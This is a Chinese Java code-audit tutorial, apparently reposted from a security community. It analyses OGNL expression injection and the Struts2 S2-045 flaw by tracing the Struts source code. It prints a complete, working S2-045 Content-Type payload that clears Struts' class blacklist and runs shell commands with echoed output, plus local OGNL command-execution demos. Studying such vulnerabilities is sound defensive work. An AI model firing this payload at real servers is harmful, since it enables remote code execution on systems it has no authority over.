从零开始java代码审计系列(三)

栏目: Java · 发布时间: 5年前

内容简介:此文为原创文章作者:p0desta@先知社区

从零开始 <a href='https://www.codercto.com/topics/22013.html'>java</a> 代码审计系列(三)

此文为原创文章

作者:p0desta@先知社区

恭喜作者获得

价值100元的天猫超市享淘卡一张

欢迎更多优质原创、翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

这篇文章将会学习java中的OGNL表达式注入,并分析实例s2-045,并且所有环境都会打包放到附件中,提供给有需要的朋友,本文如果有理解错误的地方,麻烦师傅们斧正。

什么是OGNL

从语言角度来说:它是一个功能强大的表达式语言,用来获取和设置 java 对象的属性 ,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。另外,java 中很多可以做的事情,也可以使用 OGNL 来完成,例如:列表映射和选择。对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个“路径”来完成对象信息的导航,这个“路径”可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。

OGNL具有三要素: 表达式、ROOT对象、上下文环境

表达式: 显然,这肯定是其中最重要的部分,通过表达式来告诉OGNL需要执行什么操作。

ROOT对象: 也就是OGNL操作的的对象,也就是说这个表达式针对谁进行操作。

上下文环境: 有了前两个条件,OGNL就能进行执行了,但是表达式有需要执行一系列操作,所以会限定这些操作在一个环境下,这个环境就是上下文环境,这个环境是个MAP结构。

漏洞的产生原因

我们通过了解OGNL的基础语法可以知道OGNl可以对ROOT对象访问、对上下文对象访问、对静态变量访问、方法的调用、对数组和集合的访问、创建对象。

需要注意的点是:

  • 当访问上下文环境的参数时,需要在表达式前面加上 #

  • 访问静态变量或者调用静态方法,格式如@[class]@[field/method()]

  • 构造任意对象:直接使用已知的对象的构造方法进行构造

看执行命令的方式:

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class Main {

    public static void main(String[] args) throws OgnlException{
        //创建一个Ognl上下文对象
        OgnlContext context = new OgnlContext();
        //@[类全名(包括包路径)]@[方法名|值名]
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot());
    }
}
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception{
        //创建一个Ognl上下文对象
        OgnlContext context = new OgnlContext();
        Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot());
    }
}

从零开始java代码审计系列(三)

实例中的注入

环境部署

我会把环境打包放到附件里,有需要的可以自行下载部署,我先说一下如何部署远程调试的环境,参考 https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral 的做法,制作了Dockerfile远程调试环境,

从零开始java代码审计系列(三)

docker-compose up --build

把环境起来以后,然后使用IDEA将src目录下的环境用maven导入,IDEA配置如下

从零开始java代码审计系列(三)

然后跑起来正常打断点调试

从零开始java代码审计系列(三)

漏洞分析

Poc:

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

这个漏洞主要是因为在上传时使用 Jakarta 进行解析时,但是如果 content-type 错误的会进入异常,然后注入OGNL。

首先在 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/PrepareOperations.class

public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
        HttpServletRequest request = oldRequest;

        try {
            request = this.dispatcher.wrapRequest(request);
            ServletActionContext.setRequest(request);
            return request;
        } catch (IOException var4) {
            throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
        }
    }

这里会将http请求封装一个成一个对象

从零开始java代码审计系列(三)

跟进函数,跟到 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        if (request instanceof StrutsRequestWrapper) {
            return request;
        } else {
            String content_type = request.getContentType();
            Object request;
            if (content_type != null && content_type.contains("multipart/form-data")) {
                MultiPartRequest mpr = this.getMultiPartRequest();
                LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class);
                request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
            } else {
                request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
            }

            return (HttpServletRequest)request;
        }
    }

可以看到如果 content_type 不为 null 并且 content_type 中包含了 multipart/form-data 的话就进入条件

然后到

request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);

会new一个对象,跟进

从零开始java代码审计系列(三)

可以看到request对象进入了 this.multi.pars ,继续跟requests,到达 /org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class

public void parse(HttpServletRequest request, String saveDir) throws IOException {
        LocalizedMessage errorMessage;
        try {
            this.setLocale(request);
            this.processUpload(request, saveDir);

首先request对象进入语言设置的方法,没有啥处理,继续跟进下一个 this.processUpload

然后可以跟到

FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
                    InputStream input = ctx.getInputStream();
                    int contentLengthInt = ctx.getContentLength();
                    long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).contentLength() : (long)contentLengthInt;
                    if (FileUploadBase.this.sizeMax >= 0L) {
                        if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) {
                            throw new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", requestSize, FileUploadBase.this.sizeMax), requestSize, FileUploadBase.this.sizeMax);
                        }

                        input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) {
                            protected void raiseError(long pSizeMax, long pCount) throws IOException {
                                FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", pCount, pSizeMax), pCount, pSizeMax);
                                throw new FileUploadBase.FileUploadIOException(ex);
                            }
                        };
                    }

从零开始java代码审计系列(三)

可以看到这个判断会检测 contentType 是否以 multipart/ 开头,显然不是,然后进入异常处理

throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));

这里会将传进来的contentType拼接后继续传递

从零开始java代码审计系列(三)

一直跟到

while(i$.hasNext()) {
  LocalizedMessage error = (LocalizedMessage)i$.next();
  if (validation != null) {
      validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
  }
}

会进入到 /com/opensymphony/xwork2/util/LocalizedTextUtil.class

然后经过调用堆栈

从零开始java代码审计系列(三)

继续跟可以跟到 /com/opensymphony/xwork2/util/TextParseUtil.class

public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

跟到

String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }
           String var = expression.substring(start + 2, end);

简单理解下这段的意思就是将咱们被污染的payload进行处理,可以是 %{.*} 也可以是 ${.*} 这样的格式

从零开始java代码审计系列(三)

后面就是作为ONGL表达式进行执行了。

payload为何如此构造

知道了漏洞产生原因,肯定是想知道poc为什么这样构造呢,我来分析一下

%{
    (#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#memberAccess?(#memberAccess=#dm):     
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm)))).
  (#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').
  toLowerCase().
  contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
  {'/bin/bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).
  (#process=#p.start()).
  (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
  (#ros.flush())
  };

首先我们知道Struts2为了防御攻击,在 /struts2-core-2.5.10.jar!/struts-default.xml 中定义了黑名单

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                ognl.OgnlContext,
                ognl.ClassResolver,
                ognl.TypeConverter,
                ognl.MemberAccess,
                ognl.DefaultMemberAccess,
                com.opensymphony.xwork2.ognl.SecurityMemberAccess,
                com.opensymphony.xwork2.ActionContext" />

   <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />

我们必须想办法bypass它,可以看到poc的操作是先定义了 DEFAULT_MEMBER_ACCESS ,然后赋值给 memberAccess ,

然后使用 GetInstance 实例化 OgnlUtil ,然后将里面的黑名单清除,然后利用setMemberAccess进行覆盖掉,进而绕过黑名单,这个poc是大牛构造的比较通用并且有回显的,我们来看看具体实现,

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
import java.lang.NullPointerException;
import com.opensymphony.xwork2.util.TextParseUtil;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception,NullPointerException{
        //创建一个Ognl上下文对象
        Object rootObject = new Object();
        OgnlContext context = new OgnlContext();
        TextParseUtil newparse = new TextParseUtil();

        String exp = "(#nike='multipart/form-data').(#cmds={'open', '/Applications/Calculator.app'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())";
        try{
            Object expression = ognl.Ognl.parseExpression(exp);
            String value = Ognl.getValue(expression, context, rootObject).toString();
        }catch (OgnlException e){
            e.printStackTrace();
        }
    }
}

从零开始java代码审计系列(三)

参考:

https://landgrey.me/struts2-045-debugging/
https://xz.aliyun.com/t/2712
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
https://www.cnblogs.com/renchunxiao/p/3423299.html

从零开始java代码审计系列(三)

从零开始java代码审计系列(三)

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

从零开始java代码审计系列(三)


以上所述就是小编给大家介绍的《从零开始java代码审计系列(三)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Data Structures and Algorithm Analysis in Java

Data Structures and Algorithm Analysis in Java

Mark A. Weiss / Pearson / 2011-11-18 / GBP 129.99

Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course wa......一起来看看 《Data Structures and Algorithm Analysis in Java》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具